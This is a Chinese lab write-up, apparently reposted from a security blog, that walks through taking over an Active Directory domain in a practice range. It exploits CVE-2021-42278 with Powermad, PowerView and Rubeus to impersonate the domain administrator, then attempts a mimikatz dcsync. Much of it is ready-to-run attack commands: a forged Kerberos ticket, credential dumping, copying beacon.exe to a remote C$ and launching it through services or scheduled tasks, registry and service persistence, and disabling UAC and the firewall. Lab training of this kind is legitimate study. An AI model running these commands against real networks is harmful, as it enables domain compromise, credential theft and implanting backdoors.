(注:该靶场伪造用户时用到的工具 需要.NETv4.0环境,建议先参照6.9配置环境,并重启生效后,再复现5.3的伪造用户操作,否则中途再安装环境,重启后会导致后续爆错无法继续进行)

(注:伪造域管用户的前提是 具有域用户的权限,域用户的权限参考5.1通过hash传递攻击获取)

(注:伪造的权限极不稳定,长时间位操作、产生错误信息 等等都会导致权限丢失,需要重置环境后再次重新开始。之一修改参数创建新的账户是否可以自行尝试。哪位师傅知道如何不用充值环境就可删除信息直接伪造的话麻烦告知一下 感谢)

在域内一般正常的机器账户时以"$" 符号结尾,且AD没有对域内机器账户进行检查,就可以存在不以"$" 符号结尾的域内机器账户名
漏洞形成点:
1.在创建一个新的域内机器账号时,利用CVE-2021-42278漏洞对当前新键机器账号伪造修改为域AD的机器账号一样账户名。
2.再擦除当前机器账号的spn信息
3.由于当前机器账号修改后与AD机器账号名一样,这时候去向kdc请求TGT,这时得到TGT中的PAC仍然是当前新建机器账户的权限
4.再修改当前机器账号与前面不一样的机器账号名。
5.使用得到的TGT通过S4U2self进行TGS请求
6.域控在找不到刚刚伪造的机器用户后,就在给TGT中的client info中的username加一个$,然后再去查询username$,
发现这个TGT client 域控机器账户自己,然后就把自己的PAC加入TS中,并且用自己的hash加密了TS,最后返回。
7.伪造者就得到了访问域控的TGS
(来自:https://blog.csdn.net/qq_42077227/article/details/127873984)

5.3.1 创建 域机器账户

使用脚本文件 Powermad.ps1 通过 powershell 创建 域机器账户(提示禁止执行ps脚本,参考6.6解决)

将用到的脚本文件Powermad.ps1,通过远程桌面链接,直接在本机右键复制,在靶机粘贴即可上传至靶机

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

脚本上传至靶机后,进入到脚本所在目录,并切换至powershell界面(在hash传递攻击弹出的cmd窗口中执行):

#切换至powershell界面
powershell

#包含脚本文件
Import-Module .Powermad.ps1
Import-Module .PowerView.ps1

#如果如下图提示禁止执行ps脚本,则通过下列命令修改配置
set-executionpolicy remotesigned

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

包含该脚本文件后,便可执行下列命令创建 域机器账户:WEAKTEST$ 并且密码为:Rkl123456

# 设置机器账户的密码
#$Password = ConvertTo-SecureString '【登录密码】' -AsPlainText -Force
$Password = ConvertTo-SecureString 'Rkl123456' -AsPlainText -Force

# 通过 New-MachineAccount 函数创建一个机器账户
#New-MachineAccount -MachineAccount "【机器账户名】" -Password $($Password) -Domain "【所在域】.com" -DomainController "【域控主机名/通过net time查看】.【所在域】.com" -Verbose
New-MachineAccount -MachineAccount "WEAKTEST" -Password $($Password) -Domain "weak.com" -DomainController "WIN-JK2FG246GEF.weak.com" -Verbose

#查看域机器账户
net group "Domain Computers" /domain

在右侧窗口执行相关命令后,可以看到产生错误,是因为右侧窗口实在本地起的cmd命令行,左侧窗口是通过hash传递攻击弹出的能通过身份认证的域用户窗口。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

可以看到,当使用具有域用户权限的窗口时,即可成功执行,并且成功添加 域机器用户,但暂时还不是域控制器(即仅有普通域用户权限,可自行链接测试)。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

5.3.2 清除SPN信息

清除机器账户的spn信息

#Set-DomainObject "CN=【前文创建的机器账户】,CN=Computers,DC=【所在域的域名】,DC=com" -Clear 'serviceprincipalname' -Verbose
Set-DomainObject "CN=weaktest,CN=Computers,DC=weak,DC=com" -Clear 'serviceprincipalname' -Verbose

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

5.3.3 重设机器名称

重设机器名称,设置为DC域控机器名,伪造dc账户

#Set-MachineAccountAttribute -MachineAccount 【创建的机器账户】 -Value "【域控的主机名】" -Attribute samaccountname -Verbose
Set-MachineAccountAttribute -MachineAccount weaktest -Value "WIN-JK2FG246GEF" -Attribute samaccountname -Verbose

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

5.3.1、5.3.2、5.3.3 三次执行命令后 机器账户的变化:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

5.3.4 请求TGT票据

注:下列命令中 在user用户名参数中,之所以是域控的用户名,是因为在5.3.3中,将我们创建的 域机器用户 的用户名 重命名为了域控的主机名,密码是我们创建账户时设置的密码

因为漏洞的原因 username 和 username$ 被认为是同一个账户,因此返回了username$ 的 TGT

工具Rubeus.exe 源码来源(二进制程序可参考6.8):https://github.com/GhostPack/Rubeus

(注:直接运行,貌似会提示缺少 .NET 4.0 的报错 参考6.9解决报错)

#./Rubeus.exe asktgt /user:【域控的主机名】 /password:【创建账户时设置的密码】 /domain:weak.com /dc:WIN-JK2FG246GEF.weak.com /nowrap > 【将请求的票据信息重定向保存至txt文本,后续在5.3.6中会用到票据信息,直接执行如下图无回显】
./Rubeus.exe asktgt /user:WIN-JK2FG246GEF /password:Rkl123456 /domain:weak.com /dc:WIN-JK2FG246GEF.weak.com /nowrap > rub.txt

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

获取到被base64编码的票据

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

5.3.5 恢复创建的机器账号名

恢复创建的机器账号名,但要与原来的名称不一样。用于另外一个漏洞的触发条件

#Set-MachineAccountAttribute -MachineAccount 【原账户名/不是5.3.3中修改后的】 -Value "【新的账户名】" -Attribute samaccountname -Verbose
Set-MachineAccountAttribute -MachineAccount weaktest -Value "weak" -Attribute samaccountname -Verbose

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

5.3.6 请求ldap服务票据(获取DC票据)

通过S4U2self申请TGS Ticket,获取DC ldap服务票据(咱也看不懂啥意思,跟着改命令填参数就对了)(LDAP主要用于读取和修改目录服务)

(注:该请求貌似只能请求一次,请求成功后如果要再次请求会报错,需要还原环境,具体情况自行尝试)

./Rubeus.exe s4u /self /impersonateuser:"【待模仿的用户名,模仿一个具有域管权限的账户,直接模仿administrator】" /altservice:"【请求的票据协议】/【域控的机器名】.【所在域的域名】.com" /dc:"【域控的机器名】.【所在域的域名】.com" /ptt /ticket:【在5.3.4中获取到的 base64编码的TGT票据信息】


./Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ladp/WIN-JK2FG246GEF.weak.com" /dc:"WIN-JK2FG246GEF.weak.com" /ptt /ticket:doIE8DCCBOygAwIBBaEDAgEWooIECjCCBAZhggQCMIID/qADAgEFoQobCFdFQUsuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh3ZWFrLmNvbaOCA8owggPGoAMCARKhAwIBAqKCA7gEggO014cYDVQCX123BwgSDqj7bJzo2BuwYFDQsM14YLaBYn2uShGEDbXFYVsnuCcaj9Uzi6QOXKZrt7f6++/d0QJd3hBrMxHJCx79NSTRmlPauJc5Lt42XigeAzWqGDy3PzTY7p6zOTftg7IeWg0kVEKLNDJOW1cM4nUv6r6lBBVRqZrmah3mkZoAGafuVlpGcuQMeoeTfSj907YM8IcffCa5WWkX6OpbkKXvhpOVGMp5P8VhVLA0kRra0PZLqWaxljJlRenLaUZFrLrc2HHYcN69xv4rCt5v2HXVQ/+8i5wOT+B7D2dGmioNwHYngnY5/vFcqiXaIASpwBVcIwGtU4E3MO2Ql/g8FI3A2BJn81TtlOZeDPvYjqPrUbfFh4UGmgVl3S204YgaoWnLesu7a5W2B9te91rAusPZ6B6iZcnjeHr9Nh4n4ZghV+9Jy2O0XCv0H1vOIPfTMF9iqyLE1VH5ifeNbYZ0tuL4J1turFOqAvoOOwwuWV7Xhfe8KN4wOV7ZTmWRawQGdiQXnuVPy5TF7YF3eW0T5+gRl2yAXNAu1U88J1DNB3+SjZpHdNid1Pz8uDJGYjzuWF5qZUR4Uk+dIKoyofj5c/w2X1hFZdrj2bsGvS262600R8Z6LtNMCixFcnbDND5/z9gdJYXDaryEICsL+oCULNN26tJFWhH/0EuJzjFPSrei6AR0LE6EFuU2oTKOX2UBXSyJA28QFuRHkxTtCdK2lLT78ljrNBryy+SuEuvjGwh18SDrRHQPwEaH1bJhGbWOGYXM6cTRtgsVBbF5Y0t2g1tXLHvg/nmqP/an5NIvhwyxZlx0ggX+5pzITQZfxtOG8hFFf91vb3NOH/gK8qqgWzUflUpRvXih/ATIFZwqlRu+JhBBipgeU5nWh5sbnaC4wJNN6BQH6f5SS0h6/8RSNhvvc9A7Q1od5JVd366GXSX+CA3R3mEfKWDdifxkXW1t73KzQob84J9Br4MGcc9GHxsQSW7/ZAFStvlRslNkf2TjCuA9bHleLZEZkEqNADV+7LKa0XPxCKTzwNaUcei9boZbSfq1GwrUHHmYtlR/nzGqhDlE5Ie1/QkJAFDNsDxpyXiM454I9h9eGqI8ls2kB5GITm8t+vbMF3XirNUD71k9TbwZhIuVW+fEsi5jtCQiQ7WkmHCzW0JDlYP2AFVuOujLWNRjzVDwQ3apEwmvUy1BvrViUsAQxENHEodf4PzSKixhJ5oTeqY6/3xTa7rVtvX98vwitkNkoq6f1gaBo4HRMIHOoAMCAQCigcYEgcN9gcAwgb2ggbowgbcwgbSgGzAZoAMCARehEgQQWOn1XjzpHtUZpMU2Hl2W/KEKGwhXRUFLLkNPTaIcMBqgAwIBAaETMBEbD1dJTi1KSzJGRzI0NkdFRqMHAwUAQOAAAKURGA8yMDIyMTEwMTEyMTYxNlqmERgPMjAyMjExMDEyMjE2MTZapxEYDzIwMjIxMTA4MTIxNjE2WqgKGwhXRUFLLkNPTakdMBugAwIBAqEUMBIbBmtyYnRndBsId2Vhay5jb20=

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

5.3.7 申请cifs服务票据

./Rubeus.exe s4u /self /impersonateuser:"【待模仿的用户名,模仿一个具有域管权限的账户,直接模仿administrator】" /altservice:"【请求的票据协议】【域控的机器名】.【所在域的域名】.com" /dc:"【域控的机器名】.【所在域的域名】.com" /ptt /ticket:【在5.3.4中获取到的 base64编码的TGT票据信息】


./Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"cifs/WIN-JK2FG246GEF.weak.com" /dc:"WIN-JK2FG246GEF.weak.com" /ptt /ticket:doIE8DCCBOygAwIBBaEDAgEWooIECjCCBAZhggQCMIID/qADAgEFoQobCFdFQUsuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh3ZWFrLmNvbaOCA8owggPGoAMCARKhAwIBAqKCA7gEggO014cYDVQCX123BwgSDqj7bJzo2BuwYFDQsM14YLaBYn2uShGEDbXFYVsnuCcaj9Uzi6QOXKZrt7f6++/d0QJd3hBrMxHJCx79NSTRmlPauJc5Lt42XigeAzWqGDy3PzTY7p6zOTftg7IeWg0kVEKLNDJOW1cM4nUv6r6lBBVRqZrmah3mkZoAGafuVlpGcuQMeoeTfSj907YM8IcffCa5WWkX6OpbkKXvhpOVGMp5P8VhVLA0kRra0PZLqWaxljJlRenLaUZFrLrc2HHYcN69xv4rCt5v2HXVQ/+8i5wOT+B7D2dGmioNwHYngnY5/vFcqiXaIASpwBVcIwGtU4E3MO2Ql/g8FI3A2BJn81TtlOZeDPvYjqPrUbfFh4UGmgVl3S204YgaoWnLesu7a5W2B9te91rAusPZ6B6iZcnjeHr9Nh4n4ZghV+9Jy2O0XCv0H1vOIPfTMF9iqyLE1VH5ifeNbYZ0tuL4J1turFOqAvoOOwwuWV7Xhfe8KN4wOV7ZTmWRawQGdiQXnuVPy5TF7YF3eW0T5+gRl2yAXNAu1U88J1DNB3+SjZpHdNid1Pz8uDJGYjzuWF5qZUR4Uk+dIKoyofj5c/w2X1hFZdrj2bsGvS262600R8Z6LtNMCixFcnbDND5/z9gdJYXDaryEICsL+oCULNN26tJFWhH/0EuJzjFPSrei6AR0LE6EFuU2oTKOX2UBXSyJA28QFuRHkxTtCdK2lLT78ljrNBryy+SuEuvjGwh18SDrRHQPwEaH1bJhGbWOGYXM6cTRtgsVBbF5Y0t2g1tXLHvg/nmqP/an5NIvhwyxZlx0ggX+5pzITQZfxtOG8hFFf91vb3NOH/gK8qqgWzUflUpRvXih/ATIFZwqlRu+JhBBipgeU5nWh5sbnaC4wJNN6BQH6f5SS0h6/8RSNhvvc9A7Q1od5JVd366GXSX+CA3R3mEfKWDdifxkXW1t73KzQob84J9Br4MGcc9GHxsQSW7/ZAFStvlRslNkf2TjCuA9bHleLZEZkEqNADV+7LKa0XPxCKTzwNaUcei9boZbSfq1GwrUHHmYtlR/nzGqhDlE5Ie1/QkJAFDNsDxpyXiM454I9h9eGqI8ls2kB5GITm8t+vbMF3XirNUD71k9TbwZhIuVW+fEsi5jtCQiQ7WkmHCzW0JDlYP2AFVuOujLWNRjzVDwQ3apEwmvUy1BvrViUsAQxENHEodf4PzSKixhJ5oTeqY6/3xTa7rVtvX98vwitkNkoq6f1gaBo4HRMIHOoAMCAQCigcYEgcN9gcAwgb2ggbowgbcwgbSgGzAZoAMCARehEgQQWOn1XjzpHtUZpMU2Hl2W/KEKGwhXRUFLLkNPTaIcMBqgAwIBAaETMBEbD1dJTi1KSzJGRzI0NkdFRqMHAwUAQOAAAKURGA8yMDIyMTEwMTEyMTYxNlqmERgPMjAyMjExMDEyMjE2MTZapxEYDzIwMjIxMTA4MTIxNjE2WqgKGwhXRUFLLkNPTakdMBugAwIBAqEUMBIbBmtyYnRndBsId2Vhay5jb20=

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

可以看到,已经得到了ldap服务与cifs服务票据,此时已经伪造结束,取得administrator权限,可以后续继续执行操作。(两个都是hash攻击打开的窗口,但一个是仅打开没有任何操作的左边,一个是经过上述伪造后的右边,可以看到缓存信息已被修改,后续执行的各种命令也需在右侧继续执行)

klist

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

可以看到下图 查看 DC(域控)机上的文件/执行命令,同样的命令,左侧没有获取权限,提示的是拒绝访问,右侧是直接执行

dir \WIN-JK2FG246GEF.weak.comc$

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

通过命令 copy 是可以将后门直接传到域控机直接执行上限的了(此处仅做上传测试,可直接上传后门,通过计划任务等方式执行)

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

小结:至此已经通过伪造的方式取得域管权限,取得域管权限后便是通过各种方式持久化权限、或者取得更加直接的权限。比如5.4中的获取域管hash值(本处不知什么原因一直失败,且因为篇幅原因另开新文),再比如上图中直接copy恶意文件至域控机,通过创建计划任务的方式启动并上线viper等远控(好吧本文在实操时也莫名其妙的在启动的时候报错,但是传输、创建任务等都可正常进行。关注前文(https://mp.weixin.qq.com/s/m4JSVZ5wlXBk94wSqJuoJg)公众号,期待新文吧。新文将是各种详细的利用过程这些问题都将解决)

5.4 获取DC机hash值(失败:未知原因。。。炸裂)

在右侧窗口,以域管权限再次启动mimikatz_x64.exe ()

.mimikatz_x64.exe
privilege::debug
lsadump::dcsync /domain:weak.com /all /csv

炸裂,明明已经拿到域管权限了,参照(https://blog.csdn.net/qq_42077227/article/details/127873984),却一直提示权限不足。复现失败。。。。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

借用一张该文中的图片,望后来者可以成功。。。。。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6. 可能的问题

6.1 非交互式执行mimikatz

viper貌似不支持交互式shell,在使用mimikatz读取hash时,无法使用交互式输入密码。可使用下列方法直接执行命令

mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6.2 关闭uac认证(未测试)

#来自:https://blog.csdn.net/lza20001103/article/details/127123798
shell reg.exe ADD HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v EnableLUA /t REG_DWORD /d 0 /f

6.3 远程桌面 分辨率太高 不方便使用

使用windows自带的远程桌面建立连接后,默认的是全屏显示,但是全屏显示的话不方便执行其他操作,这时可通过下面的设置,减小分辨路缩小窗口。如下:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

显示选项 -> 显示 -> 显示配置 中,减小其分辨率即可

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6.4 hash攻击成功后利用命令

#来自:https://blog.csdn.net/weixin_58783105/article/details/133717653

#sc命令创建计划任务
copy beacon.exe \10.10.10.254c$

#sc命令远程创建名为test的服务
sc \10.10.10.254 create test binpath= "c:beacon.exe"

#远程查询名为test的服务
sc \10.10.10.254 query test

#远程启动名为test的服务
sc \10.10.10.254 start test

#远程删除名为test的服务
sc \10.10.10.254 delete test

#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤schtasks命令取代at命令了。

#查看⽬标系统时间
net time \10.10.10.254

#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe 10.10.10.254c$

#使⽤at创建计划任务
at 10.10.10.254 14:37 C:vps.exe

#清除at记录
at 10.10.10.254 做业ID /delete

#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at 10.10.10.254 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "

#查看⽣成的1.txt⽂件
type \10.10.10.254C$1.txt

#schtasks命令(计划任务)
#在⽬标主机10.10.10.254上创建⼀个名为test的计划任务,启动权限为system,启动
时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.10.10.254 /tn test /sc HOURLY /mo 1 /tr
c:beacon.exe /ru system /f /U administrator /P 1234.com

其他启动时间参数:
/sc HOURLY 每⼩时启动⼀次
/sc onlogon ⽤户登录时启动
/sc onstart 系统启动时启动
/sc onidle 系统空闲时启动

#查询该test计划任务
schtasks /query /s 10.10.10.254 /U administrator -P 1234.com |
findstr test

#启动该test计划任务
schtasks /run /s 10.10.10.254 /i /tn "test" /U administrator -P
1234.com

#删除该test计划任务
schtasks /delete /s 10.10.10.254 /tn "test" /f /U administrator -P
1234.com

6.5 远程登录用户组

默认情况下,administrator组是具有登录远程桌面的权限的,但不排除特殊情况,导致的administrator无法登录远程桌面或者,自己创建的账户不能添加在管理员组,再或者其他什么情况,这个时候就可以尝试将待登录账户添加在 远程桌面登录 组中,如下:

#添加管理员组获取管理员权限
net localgroup Administrators username /add

#添加远程登录用户组,获取远程登录权限
net localgroup "Remote Desktop Users" username /add

6.6 powershell 禁止执行

当出现下列报错信息,提示此系统禁止执行脚本时,可使用命令修改策略,修改后即可加载脚本(注:管理员身份执行)

set-executionpolicy remotesigned

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6.7 使用“0”个参数调用“CommitChanges”时发生异常:“拒绝访问

出现如下图的报错信息时(因为权限不够需使用域管用户才可):

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6.8 Rubeus.exe 工具的生成

该工具在github上仅有源码,并未发布编译好的exe程序,可通过作者提供的材料库直接下载,也可自行编译。编译如下:

访问下列链接,下载源码:https://github.com/GhostPack/Rubeus

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

本地安装 Visual Studio ,并使用该环境打开源码,直接编译生成exe

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

打开项目后,涉及到exe所面向的.NET版本,在该套靶机环境中.NET是2.0的版本,但用该工具生成的时候默认是4.0的导致不兼容需要重置环境,可以在打开项目后右侧项目栏(点击项目文件,不要点击空白处)邮件单击选择属性。

在打开的属性栏中选择对应的.NET版本即可

如何查看靶机支持哪个版本?可以上线viper后,在session的左侧有个绿色的箭头,点击后弹出下图界面,找到信息收集->获取.NET把版本的功能,点击右侧开始。当获取成功后,会在主界面的实时输出中显示对应的版本。

生成 exe后 直接通过生成的路径找到生成的exe即可

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6.9 Rubeus.exe 执行结果为空缺少.NET

通过命令执行,无回显,通过重定向,将输出结果保存在rub.txt中,也为空。尝试直接执行rubeus.exe 发现提示缺少.NET环境。。。。。无语。。。找相关.NET安装程序上传安装,满足环境要求即可,安装程序在作者提供的材料库中。根据自己实际情况选择对应的版本,这里报错缺少4.0版本,直接安装4.0的即可

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

也可直接在360下载

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

上传到靶机按默认配置直接执行即可

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

安装完成后 会提示重新启动,可参考6.11添加自启服务,也可以重新使用msf上线

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

.NET v4.0 在官网下载 (https://dotnet.microsoft.com/zh-cn/download/dotnet-framework/net40)

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6.10 添加开机自启

通过viper、cs等生成的exe后门不具备开机自启功能,当靶机重启后便会掉线,可通过下列命令添加开机自启进行权限维持:

(注:在自己打靶场的时候作用不大,这里的开机自启必须得有用户登录解除锁屏界面进入桌面的时候才会自启,且执行权限是登录用户的权限)

#reg add 【注意初始键值不同的系统版本可能有所不同】SoftwareMicrosoftWindowsCurrentVersionRun /v 【键值对的名称,随便设置不冲突即可】 /t REG_SZ /d 【待自启动的文件路径】

#添加注册表
reg add HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v MyShell /t REG_SZ /d C:shell.exe

#删除注册表 /f参数自动确认
reg delete HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /f /v MyShell

#查看是否添加成功
reg query HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v MyShell

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6.11 添加自启服务

自启服务 与 开机自启动 不一样。开机自启需要有用户登录桌面才可以自启动。而自启服务,只要电脑重启,不需要有用户登录,就可以像输入法一样直接自启动。(注:本地测试 一直启动失败 未继续测试,可自行尝试,猜测可能时因为服务的启动权限默认时普通用户权限,但通过ms17-010上传的默认时system用户所属,故没有执行权限)

#sc create 【服务名称,同样 不冲突即可】 binPath= "【自启动的程序路径】" start= auto
#添加服务
sc create MyService binPath= "C:/shell.exe" start= auto

#指定用户启动 MyUser:用户名 MyPassword:密码 自行替换(注意点斜杠不能少)
sc create MyService binPath= "C:/shell.exe" obj= ".SERVER08R2" password= "NcJVPV3w9Wf7" start= auto

#删除服务
sc delete MyService

#手动启动服务 验证是否产生报错信息
sc start MyService

#查看创建的服务
sc query MyService

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6.12 真实/虚拟监听

viper对虚拟监听的解释如下:

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

      初看可能不理解什么意思,简单理解就是,虚拟监听仅保存了监听的配置信息,但并没有启动监听,如下,当启动的监听是正向监听时,一旦靶机成功上线,监听会自动结束不再对靶机发起请求。但是session掉线的话又要再次建立监听重新上线靶机较为麻烦,便可以通过虚拟监听,保存监听配置,需要的时候一键启动。

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户

6.13 权限被拒绝/关闭防火墙

在已经获取到高权限的情况下,如果还出现权限被拒绝等情况,可能是因为被靶机防火墙拦截了。此时便可以使用下列命令关闭但不禁用防火墙(没记错的话禁用会导致域环境直接断开连接)

netsh firewall set opmode mode=disable

弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月28日11:27:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   弱口令招新靶场#连接内网RDP#passwd提权#windows隐藏账户#域渗透#hash传递#伪造域管用户https://cn-sec.com/archives/2341261.html

发表评论

匿名网友 填写信息